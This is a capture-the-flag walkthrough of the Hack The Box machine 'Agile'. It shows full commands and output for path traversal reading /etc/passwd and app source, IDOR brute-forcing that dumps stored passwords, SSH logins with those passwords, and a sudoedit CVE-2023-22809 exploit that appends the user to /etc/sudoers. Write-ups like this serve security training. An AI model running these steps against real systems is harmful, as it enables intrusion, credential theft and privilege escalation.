The Agile machine requires us to identify the target and locate a running web application. Within this web application, there exists a path traversal vulnerability that, when combined with an information disclosure vulnerability caused by poor error handling, allows us to retrieve the source code. By analyzing the code, we discover that the application is susceptible to IDOR (Insecure Direct Object Reference). Exploiting the IDOR vulnerability grants us access to a user’s credentials, which serves as a stepping stone to gain a foothold on the machine. Once we have established a foothold, we repeat the process using an internal version of the public-facing application to acquire another user’s credentials, facilitating horizontal pivoting. Finally, in order to elevate our privileges to root on the machine, we exploit a vulnerability in sudoedit that enables us to add ourselves to the sudoers group.
Recon
The HTTP service has as its domain superpass.htb
, by changing the /etc/hosts
file, we will be able to reach it.
nmap (TCP all ports)
nmap
finds two open ports, a SSH service (22) and a HTTP service (80) :
$ nmap -p- superpass.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-10 13:26 WET
pengrey@hacky:~/Work/HTB/Machines$ nmap superpass.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-10 13:42 WET
Nmap scan report for superpass.htb (10.129.240.99)
Host is up (0.15s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 20.20 seconds
$
nmap (found TCP ports exploration)
$ nmap -sC -sV superpass.htb -p 22,80
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-10 13:46 WET
Nmap scan report for superpass.htb (10.129.240.99)
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SuperPassword \xF0\x9F\xA6\xB8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.92 seconds
$
HTTP - TCP 80
Landing page
By going to the root directory for the superpass.htb
domain we are presented with the following landing page.
The service seems to be a password manager, this can be later useful to retrieve user credentials if the service is insecure.
Directory Enumeration
After enumerating the directories with the ffuf
tool, we are able to discover a directory being used for file downloads:
$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-di
rectories-lowercase.txt:FUZZ -u http://superpass.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : http://superpass.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.
txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
download [Status: 302, Size: 249, Words: 18, Lines: 6, Duration: 163ms]
static [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 149ms]
vault [Status: 302, Size: 243, Words: 18, Lines: 6, Duration: 927ms]
[Status: 200, Size: 6128, Words: 2174, Lines: 131, Duration: 470ms]
:: Progress: [26584/26584] :: Job [1/1] :: 251 req/sec :: Duration: [0:02:22] :: Errors: 2 ::
$
After requesting a GET we get the following output:
This tells us three things:
- The application is powered with werkzeug
- The werkzeug service is in debug mode, enabling us to probe at the source code when an exception is met.
- The application is built with the Flask framework.
Shell as corum
Path Traversal
We can see with the previous stack trace that an argument named fn
is necessary and used as the path for the file download when we press the download button.
With this in mind we can try to see if a Path traversal vulnerability is present. For this we should try to add ..\
before the file we pretend to access, this enables us to escape the assumed file path to other file system path’s.
$ curl --cookie "session=.eJy9jkuKwzAQRK8iem0GtaLWx6eY_RBCq9WKDZ5JsJxVyN1HkDtkVTyqCt4TLm3jvmiH-ecJ5hgBv9o7XxUm-N6Uu5rtdjXrnzluhkVGaY5l7eY-Nl9wfk0f_p2nIb1rX2A-9ocOWivMEMkSWVe0SnC5NVTrpUpWplBOpYRGyBwj-SKS7cBTbFRGGTJHb4OtdTBiSTkFmyoSsSsJg89I3nqfcsEm2Xl2DTFS5VidePSSidzQvzy67m-bDK9_aWpqsQ.ZAtAug.Msm3CX5Lq3dzd0shPK25osvV2k0" http://superpass.htb/download?fn=../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false
$
By successfully retrieving the file /etc/passwd
we are able to confirm that the service is vulnerable to Path Traversal.
With this vulnerability we can try to get the source code for the Flask based application by trying to retrieve the app.py file with the leaked application path from the stack trace:
$ curl --cookie "session=.eJy9jkuKwzAQRK8iem0GtaLWx6eY_RBCq9WKDZ5JsJxVyN1HkDtkVTyqCt4TLm3jvmiH-ecJ5hgBv9o7XxUm-N6Uu5rtdjXrnzluhkVGaY5l7eY-Nl9wfk0f_p2nIb1rX2A-9ocOWivMEMkSWVe0SnC5NVTrpUpWplBOpYRGyBwj-SKS7cBTbFRGGTJHb4OtdTBiSTkFmyoSsSsJg89I3nqfcsEm2Xl2DTFS5VidePSSidzQvzy67m-bDK9_aWpqsQ.ZAtAug.Msm3CX5Lq3dzd0shPK25osvV2k0" http://superpass.htb/download?fn=../app/app/superpass/app.py
import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session
app = flask.Flask(__name__)
app.config['SECRET_KEY'] = 'MNOHFl8C4WLc3DQTToeeg8ZT7WpADVhqHHXJ50bPZY6ybYKEr76jNvDfsWD'
<SNIP>
def enable_debug():
from werkzeug.debug import DebuggedApplication
app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
app.debug = True
def main():
enable_debug()
configure()
app.run(debug=True)
def dev():
configure()
app.run(port=5555)
if __name__ == '__main__':
main()
else:
configure()
$
IDOR
In the source code there is a reference on how the user ID managment is being made.
@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
This show that the IDs are used without authentication, this can lead an IDOR vulnerability. With this in mind we can try to bruteforce the ID endpoint to leak entries of other users. For this we will use the tool ffuf
and a custom list made from IDs ranging from 1 to 100.
$ for i in {1..100}; do echo $i >> payload.txt; done
$ ffuf -u http://superpass.htb/vault/row/FUZZ -w payload.txt:FUZZ -b "session=.eJy9jkuKwzAQRK8iem0GtaLWx6eY_RBCq9WKDZ5JsJxVyN1HkDtkVTyqCt4TLm3jvmiH-ecJ5hgBv9o7XxUm-N6Uu5rtdjXrnzluhkVGaY5l7eY-Nl9wfk0f_p2nIb1rX2A-9ocOWivMEMkSWVe0SnC5NVTrpUpWplBOpYRGyBwj-SKS7cBTbFRGGTJHb4OtdTBiSTkFmyoSsSsJg89I3nqfcsEm2Xl2DTFS5VidePSSidzQvzy67m-bDK9_aWpqsQ.ZAtAug.Msm3CX5Lq3dzd0shPK25osvV2k0" -fs 261
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : http://superpass.htb/vault/row/FUZZ
:: Wordlist : FUZZ: payload.txt
:: Header : Cookie: session=.eJy9jkuKwzAQRK8iem0GtaLWx6eY_RBCq9WKDZ5JsJxVyN1HkDtkVTyqCt4TLm3jvmiH-ecJ5hgBv9o7XxUm-N6Uu5rtdjXrnzluhkVGaY5l7eY-Nl9wfk0f_p2nIb1rX2A-9ocOWivMEMkSWVe0SnC5NVTrpUpWplBOpYRGyBwj-SKS7cBTbFRGGTJHb4OtdTBiSTkFmyoSsSsJg89I3nqfcsEm2Xl2DTFS5VidePSSidzQvzy67m-bDK9_aWpqsQ.ZAtAug.Msm3CX5Lq3dzd0shPK25osvV2k0
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 261
________________________________________________
4 [Status: 200, Size: 298, Words: 46, Lines: 9, Duration: 190ms]
8 [Status: 200, Size: 293, Words: 46, Lines: 9, Duration: 195ms]
3 [Status: 200, Size: 301, Words: 46, Lines: 9, Duration: 249ms]
7 [Status: 200, Size: 300, Words: 46, Lines: 9, Duration: 254ms]
6 [Status: 200, Size: 295, Words: 46, Lines: 9, Duration: 236ms]
:: Progress: [100/100] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
$
With the user IDs discovered we can now use them with the tool curl
to retrieve the saved passwords in the service.
$ for i in {4,8,3,7,6}; do curl --cookie "session=.eJy9jkuKwzAQRK8iem0GtaLWx6eY_RBCq9WKDZ5JsJxVyN1HkDtkVTyqCt4TLm3jvmiH-ecJ5hgBv9o7XxUm-N6Uu5rtdjXrnzluhkVGaY5l7eY-Nl9wfk0f_p2nIb1rX2A-9ocOWivMEMkSWVe0SnC5NVTrpUpWplBOpYRGyBwj-SKS7cBTbFRGGTJHb4OtdTBiSTkFmyoSsSsJg89I3nqfcsEm2Xl2DTFS5VidePSSidzQvzy67m-bDK9_aWpqsQ.ZAtAug.Msm3CX5Lq3dzd0shPK25osvV2k0" http://superpass.htb/vault/row/$i ; done
<tr class="password-row">
<td>
<a hx-get="/vault/edit_row/4" hx-include="closest tr"><i class="fas fa-edit"></i></a>
<a hx-delete="/vault/delete/4"><i class="fa-solid fa-trash"></i></a>
</td>
<td>mgoblog.com</td>
<td>0xdf</td>
<td>5b133f7a6a1c180646cb</td>
</tr><tr class="password-row">
<td>
<a hx-get="/vault/edit_row/8" hx-include="closest tr"><i class="fas fa-edit"></i></a>
<a hx-delete="/vault/delete/8"><i class="fa-solid fa-trash"></i></a>
</td>
<td>agile</td>
<td>corum</td>
<td>5db7caa1d13cc37c9fc2</td>
</tr><tr class="password-row">
<td>
<a hx-get="/vault/edit_row/3" hx-include="closest tr"><i class="fas fa-edit"></i></a>
<a hx-delete="/vault/delete/3"><i class="fa-solid fa-trash"></i></a>
</td>
<td>hackthebox.com</td>
<td>0xdf</td>
<td>762b430d32eea2f12970</td>
</tr><tr class="password-row">
<td>
<a hx-get="/vault/edit_row/7" hx-include="closest tr"><i class="fas fa-edit"></i></a>
<a hx-delete="/vault/delete/7"><i class="fa-solid fa-trash"></i></a>
</td>
<td>ticketmaster</td>
<td>corum</td>
<td>9799588839ed0f98c211</td>
</tr><tr class="password-row">
<td>
<a hx-get="/vault/edit_row/6" hx-include="closest tr"><i class="fas fa-edit"></i></a>
<a hx-delete="/vault/delete/6"><i class="fa-solid fa-trash"></i></a>
</td>
<td>mgoblog</td>
<td>corum</td>
<td>47ed1e73c955de230a1d</td>
$
Credentials found
In all of the credentials one user seems to stand out, this one being corum with the agile
service password.
corum:5db7caa1d13cc37c9fc2
SSH
SSH login with found credentials
By using the found credentials found for the user corum we can successfully login through SSH:
$ ssh corum@superpass.htb
corum@superpass.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 2 08:06:55 2023 from 10.10.14.40
corum@agile:~$
Shell as edwards
By checking the used ports on the machine we can find one interesting service, this one being a test build of the front end application being run on the localhost:5555
.
corum@agile:/tmp$ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:46825 0.0.0.0:* LISTEN
tcp 0 0 localhost:domain 0.0.0.0:* LISTEN
tcp 0 0 localhost:mysql 0.0.0.0:* LISTEN
tcp 0 0 localhost:5555 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
tcp 0 0 localhost:5000 0.0.0.0:* LISTEN
tcp 0 0 localhost:41829 0.0.0.0:* LISTEN
tcp 0 0 localhost:33060 0.0.0.0:* LISTEN
tcp 0 0 localhost:55228 localhost:46825 ESTABLISHED
tcp 150 0 localhost:34684 localhost:mysql CLOSE_WAIT
tcp 0 0 localhost:37132 localhost:41829 ESTABLISHED
tcp 0 0 localhost:38519 localhost:39132 TIME_WAIT
tcp 0 0 localhost:41829 localhost:37584 TIME_WAIT
To reach this application we can simply port forward with the help of SSH
the requests being made to that port from our machine:
$ ssh corum@superpass.htb -L 5555:127.0.0.1:5555
We can see that the internal service is an instance of the public service, this is a practice often observed in the development industry known as “Eating your own dog food”. This approach allows developers to promptly identify bugs within the application and fix, acting as a quality control measure.
With the internal service being the same as the public one, we can now repeat the same steps made with the public facing application, this way we can try to retrieve the saved credentials on the test build instance.
$ ffuf -u http://localhost:5555/vault/row/FUZZ -w payload.txt:FUZZ -b "session=.eJwlzjEOwzAIQNG7eO4ABLDJZSIDtto1aaaqd6-ljk9_-Z9yzHNcz7K_z3s8yvHKspcqIALkI0PJ5sQBHBk2uqhv7joFe69V2CMMFrc6xVdU65VBIXMZ0Zs1hZYo0skbKhsKA3MzxxlG3GkiVslek4KRw0SorJH7Guf_hsr3B7fuLnk.ZAxH8Q.zhTj2OnhxiRBl1Wn30YyJbUh-MI" -fs 261
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : http://localhost:5555/vault/row/FUZZ
:: Wordlist : FUZZ: payload.txt
:: Header : Cookie: session=.eJwlzjEOwzAIQNG7eO4ABLDJZSIDtto1aaaqd6-ljk9_-Z9yzHNcz7K_z3s8yvHKspcqIALkI0PJ5sQBHBk2uqhv7joFe69V2CMMFrc6xVdU65VBIXMZ0Zs1hZYo0skbKhsKA3MzxxlG3GkiVslek4KRw0SorJH7Guf_hsr3B7fuLnk.ZAxH8Q.zhTj2OnhxiRBl1Wn30YyJbUh-MI
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 261
________________________________________________
1 [Status: 200, Size: 295, Words: 46, Lines: 9, Duration: 111ms]
2 [Status: 200, Size: 300, Words: 46, Lines: 9, Duration: 149ms]
:: Progress: [100/100] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
$ for i in {1,2}; do curl --cookie "session=.eJwlzjEOwzAIQNG7eO4ABLDJZSIDtto1aaaqd6-ljk9_-Z9yzHNcz7K_z3s8yvHKspcqIALkI0PJ5sQBHBk2uqhv7joFe69V2CMMFrc6xVdU65VBIXMZ0Zs1hZYo0skbKhsKA3MzxxlG3GkiVslek4KRw0SorJH7Guf_hsr3B7fuLnk.ZAxH8Q.zhTj2OnhxiRBl1Wn30YyJbUh-MI" http://localhost:5555/vault/row/$i ; done
<tr class="password-row">
<td>
<a hx-get="/vault/edit_row/1" hx-include="closest tr"><i class="fas fa-edit"></i></a>
<a hx-delete="/vault/delete/1"><i class="fa-solid fa-trash"></i></a>
</td>
<td>agile</td>
<td>edwards</td>
<td>d07867c6267dcb5df0af</td>
</tr><tr class="password-row">
<td>
<a hx-get="/vault/edit_row/2" hx-include="closest tr"><i class="fas fa-edit"></i></a>
<a hx-delete="/vault/delete/2"><i class="fa-solid fa-trash"></i></a>
</td>
<td>twitter</td>
<td>dedwards__</td>
<td>7dbfe676b6b564ce5718</td>
</tr>
$
Credentials found
We can find another user’s credentials saved, these ones being edward’s:
edwards:d07867c6267dcb5df0af
SSH
SSH login with found credentials
By using the found credentials found for the user edward we can successfully login through SSH:
$ ssh edwards@superpass.htb
edwards@superpass.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 2 10:28:51 2023 from 10.10.14.23
edwards@agile:~$
Shell as root
By checking the programs that the user is able to run we can see that the edward user is able to run with sudo
the command sudoedit
on the path’s /app/config_test.json
and /app/app-testing/tests/functional/creds.txt
.
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
edwards@agile:~$
By also checking with the tool pspy the processes being run on the machine we can see that the user root
sources the the file /app/venv/bin/activate
for their bash instance.
edwards@agile:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursiv
e) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2023/03/10 05:41:55 CMD: UID=1002 PID=1326 | grep --color=auto activate
2023/03/10 05:41:55 CMD: UID=1002 PID=1320 | vim /var/tmp/activate.XXfIlGzM /var/tmp/config_testXXXyfw94.json
2023/03/10 05:45:01 CMD: UID=0 PID=1480 | /bin/bash -c source /app/venv/bin/activate
<SNIP>
The file we need to modify is not writable for us. However, we can work around this limitation by exploiting a vulnerability known as CVE-2023-22809 in sudoedit
. This vulnerability enables a user authorized to edit a file using sudoedit
to edit other files even without write permissions.
We noticed that the user root
periodically sources the file located at /app/venv/bin/activate
. Therefore, our plan is to tamper with this sourced file to gain access as the root
user when it is sourced by root
.
To exploit this vulnerability we just need to export the following environment variable:
edwards@agile:~$ export EDITOR='vim -- /app/venv/bin/activate'
edwards@agile:~$
Now we are able to change the /app/venv/bin/activate
file if we try to edit other files we have write permission:
edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json
sudo: sudoedit doesn't need to be run via sudo
sudo: --: Permission denied
2 files to edit
sudo: /app/config_test.json unchanged
edwards@agile:~$
In this case we try to change the add ourselves to the sudoers
group by changing the activate program that is going to be execute by root
.
edwards@agile:~$ cat /app/venv/bin/activate
<SNIP>
echo "edwards ALL=(ALL:ALL) ALL" >>/etc/sudoers
<SNIP>
edwards@agile:~$
Now what remains for us to do is just change our user to root
.
edwards@agile:~$ sudo su
root@agile:/home/edwards#
uid=0(root) gid=0(root) groups=0(root)
root@agile:/home/edwards#